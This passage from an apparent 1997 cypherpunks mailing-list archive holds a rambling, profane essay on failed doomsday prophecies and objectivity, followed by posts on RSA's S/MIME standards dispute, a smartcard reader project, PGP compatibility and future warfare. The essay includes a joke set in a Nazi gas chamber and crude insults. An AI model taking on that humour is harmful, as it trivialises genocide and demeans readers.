recognize that it is in no way more reality-encompassing than the life of
someone who has borne and raised a child, or children, or who have dedicated
their life to the pursuit of total understanding of minute area of the total
scheme of reality. I have sometimes been involved in conversations with
people who pour out their woes, their self-doubts, their regrets of 'roads
not taken,' etc., and I have said, in reply, "You have raised a wonderful
child. You, and everyone else who has done so deserve a Pulitzer Prize. No
one on the face of the earth, however renowned, has ever done anything which
is superior to what you have accomplished."

Everyone has things that they have the background and ability to do and
corresponding life lessons and experience that they have to share with their
fellow terrestrial travelers.
What I believe I have to share is the perceptive viewpoint of someone who
has garnered a reasonably objective outlook on the life and society around
them, as a result of having always stood slightly outside the boundaries of
whatever situational reality they were interacting with at any point in
time.
To illustrate, allow me to point out that I have been through "The End of
the World" (tm) twice, in my lifetime to date.

The first time was as a baptized member of Herbert W. Armstrong's Worldwide
Church of God. (I am not only Washed In The Blood Of The Lamb, but I also
scrubbed behind my ears-mom would be proud of me.)
One of the reasons I still regard the members of the WWCOG very highly is
that during my stay in the church I suffered very little discrimination or
judgment as a result of being vastly different from almost all other members
of the church, in ways that would have resulted, as a member of most
organizations (religious or secular), in my being the target of coercive
attempts at 'changing me for the better', or [Your Example of Infringement
of One's Right To Self-Determination Here].

Hard to believe that hard-core Christians could be this liberal (Example #
6):
"We would rather that you didn't strip naked during church services, paint
yourself blue and stand on your head while chanting 'Allah is good...Allah is
great. Hopefully, further Bible study will lead you to understand that these
actions are not necessary for spiritual development. But, hey! We could be
wrong."

While you may be chuckling at my humorous representation of what I am
explaining, here, let me assure you that this tongue in cheek example is no
more outlandish than 'the real facts.'

When "The End of the World" (tm) was announced, church members made
preparations for holing up on the specified date, having a fantastic 'last
meal' and preparing for a final night of fellowship during which most
'masks' would be dropped (being as how the last day before the end of all
physical existence doesn't lend itself to being pretentious in the hope of
receiving future benefit from misleading yourself and others).
{FYI: Yes, I was tempted to make the obvious "going out with a bang
<nod-nod, wink-wink>" suggestions, all in good humor, but this was one of
the few times in my life that I was able to resist my basic urge to be
infantile and immature.}

After the WWCOG members, including myself, awoke the next morning to find
that it still hurt when they pinched their arm, so this couldn't possibly be
Heaven (tm), the church went through a major shake-up, with many members
becoming disillusioned and leaving for browner pastures. Most of those who
remained in the church went through great mental and emotional turmoil in
the process of resolving the dichotomy of remaining a member of a 'True
Church' which had failed the ultimate test of 'infallibility'.
Not me...

This is part and parcel of what I am trying to explain as an example of what
I regard as an ability on my part to exercise a great deal of objectivity,
even during my active participation in entering into membership in a
particular or specific belief-system.

I never, at any time, believed that the proverbial "End of the World" was
imminent. Quite the opposite, in fact, yet I participated fully in the
event.
Why? When you are a member of a bowling team, you bowl ten frames because
that is what you are there to do, as a member of the team. That is how those
involved keep score and the agreed basis upon which they judge the results.

I made no attempt to burst anyone else's bubble while preparing for an event
which I was certain would not occur but, when asked by other church members,
I did not attempt to obfuscate my beliefs in this regard, instead speaking
honestly about my view that the person reading the road map of the future
was not aware of the concept of magnetic deflection affecting the perception
of True North.
On the other hand, neither did I negate the possibility that I might, at the
appointed time, be proven wrong, as I found myself swept up into Heaven (tm),
to be confronted by a Supreme Being who was wagging a finger at me, saying,
"You are going to find your eternal stay in Heaven considerably more
enjoyable if you drop the cynicism."

As a result of having the objectivity which comes from being what I
characterize as "an insider watching from the outside," I found that I could
observe or participate in the debates between the 'True Believers' and the
'Disillusioned' and manage to separate the wheat from the chaff, chiefly
because I didn't have a 'position to defend.'
i.e.-I hadn't given away my bowling ball (metaphorically speaking) to
charity, out of certitude that I would not be needing it the following day,
so I had no need to 'place blame' on anyone for my having to buy a new
bowling ball for the upcoming tournament.

Although I ceased actively participating in the WWCOG shortly after The End
of the World (tm) , it was a result of having already learned and experienced
most of those things which I was there to apperceive.

In the wake of the World inconsiderately failing to End on schedule, the
titular heads of the Worldwide Church of God rechecked their figures and,
sure enough, realized that they had forgotten to 'carry the three' and that
it had been a mistake to use the recently legislated value of pi (3.0) in
their calculations.
I found this to be very disturbing.
I personally had absolutely no problem with the World failing to End as
predicted, nor with those who had mistakenly (as it turned out) made the
prediction. My beliefs and core values were neither strengthened nor
weakened by the details of the event-I am proud to say that I felt no need
to paint myself 'green' instead of 'blue' thereafter, in an attempt to
rebuild a non-existent ivory tower of religious/spiritual belief.

Had those involved not busied themselves with attempting to pretend that
they were still infallible, but bad at math, my sojourn in the Worldwide
Church of God would have undoubtedly lasted a little longer. As it was, I
felt that there were more precipitous routes to additional knowledge and
learning, since advancement of corporal and ethereal cognitive capabilities
had been put on hold in the church in the interests of regeneration of
structures which were not truly necessary to the objectives of religious
spirituality.

To tell the truth, I find it rather ironic that intelligent, spiritually
oriented individuals who recognize the foolishness of worshipping golden
calves often fail to recognize that the 'semi-worshipping' of 'wooden'
calves may be a step forward, but is equally foolish, nonetheless.

My participation in the second (non-annual) "End of the World" (tm) was as a
member of the Institute of Applied Metaphysics.
The event/process was very similar in concept to the WWCOG "End of the
World" (tm), with only the circumstantial details being significantly
different.
i.e. - As a member of IAM, I stripped naked, painted my self purple, and
stood on my head during the meetings, conferences and classes.

Once again, those involved in "The End of the World" (tm) awoke the next
morning to find that it still hurt when they pinched their arm (or when I
pinched their butt). Again, there was a certain amount of disillusionment in
the wake of continued corporeal existence, but less so than in the WWCOG,
since there was less of a structured, ritual schematization involved.
i.e. - more people wearing jeans, fewer people wearing suits and ties

I eventually moved on to a divergent path in my quest toward finding new and
better ways to investigate the underlying unity within the boundaries of
diversity, once again taking along the lessons and experiences I had
garnered during my hiatus from constant motion (as opposed to fleeing from
the abomination of human fallibility).

The wake of this second failure of the World to End according to schedule
was of lesser amplitude than the previous one I had participated in, rocking
the boat of established position/beliefs less than before. I attribute this
to the fact that the response of the titular heads of the Institute of
Applied Metaphysics was not to 'deny' that there had been no failure, only a
slight miscalculation (PolitiSpeak), but was, instead, to 'reveal' to the
participants that the world had, in fact, come to an end, exactly as
predicted.
The 'loophole' that validated this Nostradamian spin-doctoring was that the
precise wording of the original prediction was "the world AS WE KNOW IT will
come to an end."

{Petty and cynical way to have fun with 'voices pontificating in the
wilderness' when they are so foolish as to give a date and time to their
"End of the World" (tm) prediction: Ask them if the time quoted is Eastern
Time, Pacific Time, or Greenwich Mean Time.
NostraCanadaIsis: "The 'End of the World' (tm) will be at 9:00 p.m. (9:30 p.m.
in Newfoundland).

Definition: Spin Doctoring - You are standing naked in the gas chamber with
a thousand of your fellow ethnic outlaws when the voice of Herr Himmler
blares out from the speakers, "I have decided to spare your lives." The loud
cheers of yourself and your grateful ethnological comrades are cut short by
the sound of a deadly gas being released from the ceiling vents. A different
voice comes over the speaker, saying, "What Herr Himmler meant to say, was..."

Sick humor? Moi...?

The two examples above involve group participation events which are
synchronous with individual examples of 'what I do.'

Everyone has things which they 'do'.
What I am speaking of here is something which I believe most people
inherently understand, but which is difficult to put into words.
i.e. - I can only describe my understanding of the concept I am expressing,
in the hope that you can compare and interpret what I say in the light of
your own knowledge and experience, be it a translation of what I say into a
mathematical equation, an emotional feeling, a graphical representation, or
whatever...

What some people do is to live a life of optimism which drives cynical
people crazy, particularly in light of the fact that the history of events
in the optimist's life confirms that his or her world-view is valid.
What other people do is live a life of cynicism which drives optimists
crazy, in light of the fact that the cynic's observations and logic are
irrefutable, thus forcing the optimist to face the fact that life is not a
bowl of cherries for those whose destiny is not to reflect the benefits of
the power of positive thinking but, rather, the reality that life is a crap
shoot.

i.e. <squared> - Some people always find a parking space exactly where they
need one, and other people never find a parking space in the needed spot.

The "End of the World" (tm) is something that I do.
'Participate in' might equally describe what I refer to as 'something I do',
if viewed from the perspective of the interplay between myself and others.

To explain, on a one-on-one level of individuality, what I am speaking of, I
should explain that, on occasion, people I know, vaguely know, or don't know
from Adam, will show up on my doorstep, and spend time with me.
A total stranger sometimes shows up on my doorstep and, without a word of
explanation, spends several days helping me install a new carpet, trim my
hedges, or whatever I happen to be involved in at the time. All without
saying a word before departing at some point, never to cross my path again
before making their exit from this mortal plane.
Or, they may show up and sit in my living room for an hour, a day, a week,
and tell me their life story. "I was very young, as a child...then, this
morning..." Once again, after they have done whatever it is they needed to do,
they depart.

The common link between the people who enter my life to perform variations
upon the above themes, before moving on, is that they die a short time
later.
What is the 'explanation of'/'reason for' the process I have just described?
I have some opinions and/or theories in this regard, but the bottom line is
that it does not matter in the least whether I am correct or incorrect in
this regard. The bottom line is that it is something that I do/'participate
in' and experience has taught me that if I try to interpret the 'true
meaning and purpose' of these events, thereby convincing myself that I have
some imagined 'cause of action' by which I can control/influence the
'outcome' of the event in a 'proper' manner, everything goes to hell and
takes longer than it would have if I had resisted the impulse to
control/interfere.

At this point, I would like to point out that many people might regard the
preceding as what Tim May refers to as 'magical thinking' and that they
would, in a certain sense, be right. Tim May has, in more than a few
missives, indicated his disapproval of those who engage in the 'airy-fairy'
process of 'magical thinking,' in contradiction to the known physical laws
of reality.

I have long regarded Tim May as the original Philosopher King of the
CypherPunks mailing list, and I give considerable weight to his missives,
knowing that they are, for the most part, composed in a process which
involves careful thought and analysis of the issues or technicalities of
whatever topic that his missive is addressing.
If my first reading of his post to the CypherPunks list seems to indicate
that he is simply 'on the rag' and 'blowing smoke,' then I read the post
again to see if I am correct in the assumption that he is having a 'bad hair
day,' or if I have my head up my butt and I am failing to understand what
Tim is attempting to communicate.

Tim May sometimes comes off, in the context of the
not-totally-encompassing-media of InterNet communication, as a bit of a
Redneck/Ugly-American/Materialistically-Grounded/Fuck-the-Hippie-Crystal-Worshipers
kind of guy.
i.e. - Nuke Magical Thinkers
However, I think he would be surprised, given my above claims, to find that
I agree with him, for the most part-listen closely-within the context of his
definition of 'magical thinking.'

However, 'magical thinking' is something that I do, and I believe that it is
valid from within the context of my definition of what the term truly
comprises.
i.e. - I care not in the least whether you (or I) claim that it is possible
to 'psychically will' the balance of a bank account to increase by $100.00.
My view is that this-or-that claim doesn't matter in the least. What matters
is whether the bank account does or does not increase.

What I am getting at is that, as a mathematician, the certitude of what you
recognize and accept is not dependent on my mathematical ability to
understand the concepts which you know and understand. My belief that 1 + 1
= 3 is not likely to cause you to come to the belief that your whole life is
a lie, and that you should kill yourself.
Why is this? Because mathematics is something that you do.

Likewise, metaphysics is something that I do.
What I implore you to understand is that I have no more personal, emotional
investment in a blue aura meaning 'this' as opposed to 'that', than you, as
a mathematician, have in 1 + 1 = 2, as opposed to 1 + 1 = 3.
Your concern as a mathematician is that the value you recognize is valid
within the boundaries of the logic system within which you are working. My
concern as a metaphysician is the same.

In effect, what I am saying is that people, be they friends, acquaintances
or total strangers, show up on my doorstep and do whatever it is they need
to do before departing and going off to reunite with the Spirit of the
Cosmic Muffin, or whatever.
You don't understand? Me neither...

Do you believe or disbelieve what I am telling you? Do you think it is a
'good' thing or a 'bad' thing, if true? Do you think it is the work of God,
or the work of the Devil?
Pick 'one from Column A and two from Column B', or vice-versa-it's fine by
me. Regardless of your or my belief/disbelief, attitude or opinion...it
happens.

If you feel the urge to show up on my doorstep and spend the next few
decades helping to prove or disprove what I perceive as reality, feel free
to do so, but I believe that there are probably much better ways to spend
your time.

I guess what I am haphazardly attempting to explain is my view of what
objectivity truly means, insofar as I understand the concept and strive to
arrive at an objective, truthful perception of existence, during my journey
through 'madness cleverly disguised as sanity' (or vice-versa).

Non-Taoists often perceive those who are journeying in a direction opposite
to, or tangent to, their own vector of impetus as being 'in opposition to'
themselves.
>From a Taoist perspective, however, no one is truly 'going the wrong way.'

In effect, it is as if we live in a world where traveling both North and
South are required for survival/enlightenment/whatever.
Those who are dimly aware that they are traveling North after having already
fulfilled the 'traveling South' part of the equation, are likely to
subconsciously recognize that those traveling in the opposite direction may
be doing so because have already fulfilled the 'traveling North' part of the
equation. Those who have not yet traversed the opposite side of the equation
are more likely to believe that those traveling in the opposite direction
are 'evil incarnate', actively seeking to subvert the will of the OneWay
True God who rules the 'Turn Left To Go Towards Righteousness' universe.

I believe that it might help to clarify the concept I am attempting to
express here if I ask you to think of examples from your own life, and from
the lives of others you have observed, which might serve to illustrate
people who unthinkingly shout "You are going the wrong way!" to total
strangers when, in fact, they have no idea where the person they are
shouting at is coming from, or going to.
A parallax example would be a mature person trying to impose the logic of
grownup reasoning on a teenager who is firmly ensconced in the hormonal grip
of a still-growing movement toward balancing reason and emotion.

The value that our experience and understanding can play in communicating
with others is directly related to the degree to which we have recognized,
faced and resolved those events and situations in our life that require us
to strike a balance between order and chaos, individuality and communion
with the 'other', stability and evolution-Yin and Yang.

Obtuse Parallax Non-Involvement Participation Theory: The fact that life is
a crap shoot in no way detracts from the validity of 'self-determination
through the exercise of free will' playing an essential part in determining
the final outcome of the unfolding of our predestination.

{Pretty profound, eh? I wonder if it actually means anything...}

But, seriously...I was very young as a child...

OK, I'll quit kidding around. (Honest!)

Despite the extremely multitudinous verbal effusions which I often use to
convey my understanding of life's realities and peculiarities, much of what
my preceding voluminous asseverations are aimed toward communicating can be
summed up in a two-line poem which was written by an eccentric schizoid
component of my overall persona which lurks omnipresently behind the scar
tissue on the periphery of my brain, as the result of a failed lobotomy
attempt by a well-meaning, but misguided, member of the Manson family.

                           "All My Lies Are True"

                            All my lies are true...
                      And everything I do, I really am.

In short (but time-and-volume expanded to give you the benefit of
enlightenment through overcoming the confusion of my verbal obtuseness),
there exists-in the heart of the time-space continuum that is conspiring
with extemporaneous metaphysical actuality to bring us all to a sorry
end-two separate and distinct enemies of the current direction and goals of
our lifelong aspirations.

The first enemy is whatever runs contrary to our beliefs, aims and purpose
in life, and which threatens our existence/being/survival because of our
failure to recognize its value in our life, due to the fact that it
encompasses arenas of life which we have not yet had occasion to confront
and/or experience.
The second enemy is the 'friendly enemy' which represents those arenas of
life which we have already traversed, and which constitute a hazard to the
evolution of our consciousness only by virtue of the fact that it is always
tempting to bathe in the glory of treading familiar ground, deluding
ourselves that our competence in rehashing already-learned lessons in life
is a sign of superiority to those poor souls we pass by as they stumble and
fall in their evolutionary journey through unfamiliar territory.

For those of you who have consumed less than a quart of Scotch in the last
half-hour, and are thus mystified as to what I am talking about, here, I
will point out that what I have just expressed might be considered to be the
equivalent of those who teach second-grade math indulging themselves in the
bizarre and obscene delusion that the godlike reverence which the six and
seven year old children impute to them as a result of their superior
understanding of the mysteries of multiplication is somehow reflective of
their innate superiority to the entirety of humanity around them.

Or, as a parallax example, a school yard bully who considers himself to be a
'tough guy', despite the fact that he is six-foot eight, two hundred and
forty five pounds, forty three years of age, and is still in the third
grade.
[No, asshole, this example is not based on my own life experience.]

As you may have already guessed, I have pretty much lost track of what the
hell it is I had originally intended to communicate in this duplicitous
soliloquy concerning the divine triad of incremental quaternion.
So perhaps it is best that I toss my Thesaurus in the trash and entrust to
my limited lexicon the responsibility of conveying an important, though
insipid, axiom of life which should serve as an shining beacon which has the
capacity to enlighten the waters beyond the rocky shores of my limited
attention span, and open the door to a complete understanding of how to
properly interpret and evaluate the Chronicles of InfoWar.

In other words-in plain English-articulating my unknown thoughts in a manner
which accurately expresses my lack of social skills and my disposition
toward not really giving a fat rat's ass if my efforts at elocution are
appreciated, or whether I am just pissing in the wind...
I am the living, breathing incarnation of the Jules Pfiefer elucidation of
the "Mad Dog in possession of the last false smile."

I AM the TruthMonger.

If you think that my irreverence, sick humor, and my propensity toward
expressing myself in a manner which will lead those reading my mad ramblings
to conclude that I am an uncouth, insane asshole is an indication that I am
not totally sincere in seeking to share the enlightenment that it has been
my blessing to experience during the course of my life, then Fuck You!

We are all born into a predestined domain wherein our role as a warrior is
to fight the battles which can be waged by none other than ourselves.
My predestined battle is to rail loud and long against the anal-retentive
scourge of counterfeit substantiality which we and our fellow
anthropological sycophants kneel in obeisance to, for lack of true belief in
the primacy of our sovereign franchise which not only deems us to be the
captain of our ship of life and master of our ultimate destiny, but which
also demands that we recognize our divinity and our obligation to throw off
the bondage of outside authority, accepting total responsibility for living
our life according to the dictates of our conscience and our innate soul
pattern.

"To he who does what within him lies, God will not deny his grace."
- Saint Thomas Aquinas

"We make our Gods, do battle with them, and they bless us."
- Herman Hesse

"All my lies are TruthMongering."
- The Last Canadian Outlaw
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 2 Nov 1997 14:06:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <9217d0b2a7cb5c14a35269732b7d57a7@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Adam Back wrote:
>[Ed Note: Jim Choate wrote:]
>> At the height of the range wars there were only 9 murders
>> associated with the conflict, not hundreds as the popular
>> entertainment media and spin-doctor culture would have you
>> believe. Get your fucking facts straight.
>
>I know, that was my point; recall that I said the murder rate was
>low.  The point was there were way less laws, and few were telling
>their neighbours what they could think.

It's not hard to believe that this was the case in some places and in
some times, but a term like the "Wild West" covers a lot of time and
territory.

For example, in San Francisco in the early 1860s there was a very high
murder rate, something like 1000 people were killed in one year and
nobody was convicted.  (Forgive minor factual errors as I haven't
studied this in awhile.)  I have also read reports of substantial
violence in the mining communities of Nevada and California with
minimal enforcement action taken.  It seems likely to me that the low
murder rate claim has some exceptions, even if we ignore the mutual
atrocities between various native groups, Americans, and Mexicans.

I would also like to see how pervasive the temperance movement was in
the Wild West.  By the late nineteenth century my impression is that
it was going strong in the Wild West although it possibly hadn't
grasped the levers of power yet.

>> Face off's at high-noon simply didn't happen and poeple didn't run
>> around having gun fights all the time.
>
>Right!

I'm pretty sure there were gunfights, but that they happened a lot
more quickly and a lot less formally than we see on TV.  But, I could
believe that overall they happened infrequently.  Anybody have a
reference?

I am told that knife fighting was a lot more common than is widely
known.  A lot of poor runaways showed up to work in various mining
towns and they were unable to afford expensive toys like guns.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 2 Nov 1997 19:19:26 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
In-Reply-To: <199711021023.LAA10521@basement.replay.com>
Message-ID: <b0b2eff9519332f40e8399dd3086038d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous  <nobody@REPLAY.COM> writes:

> I, the undersigned undertoad, herby express my evaluation of the
> TruthMonger multi-user persona, based on my understanding of the 
> contents of Epilogue 8 of 'InfoWar'.

> TruthMonger should:
> 1. Run for President of the United States of America. [ ] ~ Y/N

[Y]

It can't be any worse than the adminstration we've had the last 10
years.

> 2. Seek medical help immediately. [ ] ~ Y/N

> PLP Signature: 

> Thanking you for your input,
> A Concerned Illegal Immigrant







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 2 Nov 1997 20:47:15 +0800
To: cypherpunks@cyberpass.net
Subject: RSA Blows Smoke
Message-ID: <199711021240.HAA30685@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


Wierd News
RSA Blows Standards Smoke
James Glave james@wired.com"
6:16pm 31.Oct.97.PST
http://www.wired.com/news/news/business/story/8196.html


Today's announcement "http://www.rsa.com/smimelive/html/9710311.html" by
RSA Data Security stating that the company has formally applied to the
Internet Engineering Task Force to establish an email security standard is
a blatant lie rooted in greed, allege sources close to the process.

"RSA is lying, and I am really livid," said Paul Hoffman of the Internet
Mail Coalition. "RSA has not submitted anything."

The flap centers around the company's ongoing efforts to get its
proprietary S/MIME email encryption technology endorsed as a standard by
the task force. Such an endorsement would give the company credibility,
and potentially, an increased market share over rival Pretty Good Privacy.
PGP submitted a competing protocol for standards consideration last month.

The Internet standards process is lengthy and complicated at best. The
sticking point in RSA's efforts to date is that the task force will only
consider non-proprietary technologies for the standards track. But S/MIME
2, the protocol at the heart of the effort, includes core RSA technologies
that must be licensed.

To be considered for standardization, RSA must relinquish "change
control," or the ability to modify the technology, to the task force. And
the portion the task force is most interested in altering is the portion
that requires RSA technology. As a result, getting change control "has
been like pulling teeth," claims Jeff Schiller, the organization's
security director. 

"Their goal has always been get this into the IETF but don't really give
up control," said Schiller. "[They want to] make sure that when the
standard comes down, if an anyone wants to implement it then they have to
be a licensee."

Schiller says that until change control is secured, RSA has no hope of
coming near a formal application - as they had claimed to have already
done this morning. RSA, however, claims that it has granted change
control.

"They are trying to get more market share by claiming that the IETF is
endorsing their commercial product," alleged Schiller.

RSA, in fact, is only one of five groups that have worked on S/MIME 2,
which is about to be submitted by the Internet Mail Coalition to the IETF
as an informational request for comments. Now, in order to retain its hold
on the S/MIME technology, RSA is taking sole credit for submitting it to
the task force, some observers claim.

"It's totally disacknowledging the work of a lot of other people," said
Hoffman. A request for comments is one of the initial steps in the
certification process, and Hoffman says that the Internet Mail Coalition
has yet to put S/MIME 2 forward.

Further, Schiller says, "When we do, it is not trying to get it as an
Internet standard. It won't go - and therefore we are not going to try."

Hoffman reiterated that S/MIME 2 won't be an Internet standard because it
relies on proprietary security technology and weak encryption. The
Internet Mail Coalition is about to begin work on S/MIME 3, which will use
stronger encryption and true open standards.

Tim Matthews, product manager for RSA, acknowledged that the announcement
may be open to misinterpretation. "It's basically a summation of all the
work we've been doing over the past month," he said.

Instead of helping its own cause, and gaining public mindshare, RSA's
announcement may end up flying back in its face.

"If it fragments the S/MIME camp it could help PGP a bit," said Charles
Breed, director of technology for competitor PGP.

"I hope [the announcement] hasn't sunk their chances because there are
still a lot of people who want to do S/MIME," said Hoffman. "RSA's
greediness could sink this, but I really hope it doesn't."

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFx0To9Co1n+aLhhAQHzQwQAwfbrjUYnFP2Q72Zbld6zDOeprNWV/9Lc
fzGy7wiS0Jewx9dgMxMw1jHonlqLak469XzJzJVbSnGpvfpau1QJjWus1sKDbUeL
YC87k71t7vTcnWumqnsndlItwbn8AVw5TRLqRxsF+cz4PaspIAx4hIY8V9jDBIk6
EY9J1FSeFkg=
=SINu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sun, 2 Nov 1997 13:37:33 +0800
To: cypherpunks@Algebra.COM
Subject: What I've been up to
Message-ID: <Pine.BSF.3.96.971102061929.23666A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

As some of you may know, I have been working on a skunk works project to
further knowledge about smartcards and add smartcard support to crypto
applications. 

While the latter isn't nearly ready for release, the former has resulted
in a number of tools some on this list should find useful. Namely, we have
a truly universal smartcard reader and software. Unlike the proprietary
protocol garbage the smartcard vendors will sell you for lots of cash
together with their overpriced toolkits, our reader uses only ISO
standards and can handle *any* smartcard. 

In addition, we developed drivers and fully-automated scanning 
software for UNIX and Win32. If you don't get results just by
typing "scan", then whatever you inserted isn't a smartcard.  :-) 

At this time, we need sample smartcards and documentation. Anonymous
donations of both is encouraged. For more information, please see
https://www.cypherpunks.to/

All questions/offers should be directed to scard-admin@cypherpunks.to

- -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv

iQA/AwUBNFwSMvXUPTw3WtkkEQLSZQCg8EVW2bprGr4E21W8Qg6EELc9+gcAoMdZ
6LbtU7WCfpfsYPi+Gj4l5ecX
=5Bi8
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sun, 2 Nov 1997 14:48:12 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: PGP compatibility
In-Reply-To: <3.0.3.32.19971102005347.006b8be4@mail.atl.bellsouth.net>
Message-ID: <Pine.BSF.3.96.971102073541.23843A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 2 Nov 1997, Robert A. Costner wrote:

> 
> My copy of PGP 5.0 seems to be completely compatible with 2.6 versions.  This 
> message is signed, and my key is included within the message for those of you 
> who have software that discards the non signed portion.  (If you don't know 
> how to extract my key, copy it and fix the broken dashed line, or use a 
> keyserver)

Of course your copy of PGP 5.0 is compatible with prior versions. I know
this, you know this, and the anonymous author claiming otherwise knows
this. He simply hopes that there are some people that don't know this. The
idea behind the original post and others like it over the last few days is
to spread FUD about PGP 5.0 after other attacks failed for lack of merrit.
If you repeat a lie often enough, eventually some people will believe you. 
PSYOPS 101. Let's not fall for it.

[Yes, I know that DSA keys can not be read by PGP 2.6. Neither will Word
1.0 read Word 7.0 files. So what?]

 -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 2 Nov 1997 21:54:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Japan's Constitution and GAK (fwd)
Message-ID: <199711021352.HAA04705@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




Forwarded message:

> From: Adam Shostack <adam@homeport.org>
> Subject: Japan's Constitution and GAK
> Date: Sun, 2 Nov 1997 02:16:36 -0500 (EST)

> Does someone have access to a verificable copy of Japan's
> Constitution?  Someone pointed me to one on the web, which would seem
> to make difficult implemmenting international GAK systems.
> 
> http://www.leftjustified.com/leftjust/lib/sc/ht/wtp/japan.html
> 
> Article 21. Freedom of assembly and association as well as speech,
> press and all other forms of expression are guaranteed. No censorship
> shall be maintained, nor shall the secrecy of any means of
> communication be violated.

It also outlaws secret or under-cover police such as the Kempetei (or
however you spell it, too lazy to look it up).


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 2 Nov 1997 21:15:30 +0800
To: cypherpunks@toad.com
Subject: Re: What Will Revolution Look Like?
Message-ID: <1.5.4.32.19971102131057.00a611e0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Warmaking is ever changing in response to the last wins
and losses. However, winners are less likely to change 
than losers, for why change a successful formula,
publish it, or a well-spun dissimulation.

As ever, unknown forms of war are in gestation, being
tested and debriefed, in military institutions and
wargames, in business, in education, in the amorphous
culture at large through legal competition and crime
and their variable gray areas where fair and unfair,
civilized rules and their breaking, are ever in grim 
and vicious dispute.

While there are piles of studies on organized and
guerilla wars of the past, the most provocative are
those that attempt to describe what's coming, how
to recognize its early warnings and what can be done
to head it off or, more likely, advance it.

The highest warmaking art is winning without physical
fighting, to outfox the enemy by demoralizing, by 
demonstrating that attack is futle, that there is no 
chance of defeating a superior force. That's why 
military exhibitionism and psy war is reputed
among military and political leaders to be as vital as 
that of brute force, as best exemplified by the Cold 
War 50-year stalemate and psychological "win-win" to
a status of Cool War.

To get a handle on what's in store, imagine that completely 
unbelievable methods of warfare, overt and covert, are 
being concocted now, composed of strategies, tactics, 
warfighters and armaments never before used -- and will 
not be revealed and understood until too late for defense. 

Try to forget everything you know about warfighting, 
crime fighting, conflict resolution, rules of engagement,
black operations, guerilla tactics, hiding among the 
people. Assume the enemy knows everything you know and
more, is better armed and smarter than you, has more 
spies among your supporters and in your most intimate 
circle.

Imagine that your toilet, your bed, your fridge, your car, 
your is triggered to explode by radio or your computer by
your password.

Consider that there will be no time to reflect and 
reconsider when things go catastrophically wrong and the
enemy is unrelenting attacking with inhuman viciousness, 
when you're defenses are crumbling and weapons failing,
when mates are squealing, dead or run away, when you can't 
stop shitting yourself, when your legs are buckling, when 
your minds racing out of control, when you're begging god
and mom for mercy and the upraised axe is descending, the
barrel back of head is firing.

Remember that who the enemy is is no secret to either side, 
on whichever side you're on, and presume that the emeny is 
more ready and able to cook your goose than you are theirs.

What actual war carnage teaches, what the current civil war 
in the US is showing, is what the TV-sofa war does not: 
nobody wins, ever, except the mindfuckers who've never gone
berzerk in combat or in the jobplace, killed friend and foe 
to save own asses.

You only win wars by never having to fight them, those 
started by weakling cowards unable to steal, cheat and lie 
well enough to satisfy their demonic lusts.

Best to outsmart the enemy in war, work and love, so that 
what you're up to is revealed only years later if ever. For
the best won wars are never known at the time, no parades,
no medals, no glory, no war stories, no memorial cemeteries
and monuments, no veteran hospitals filled with carrion, 
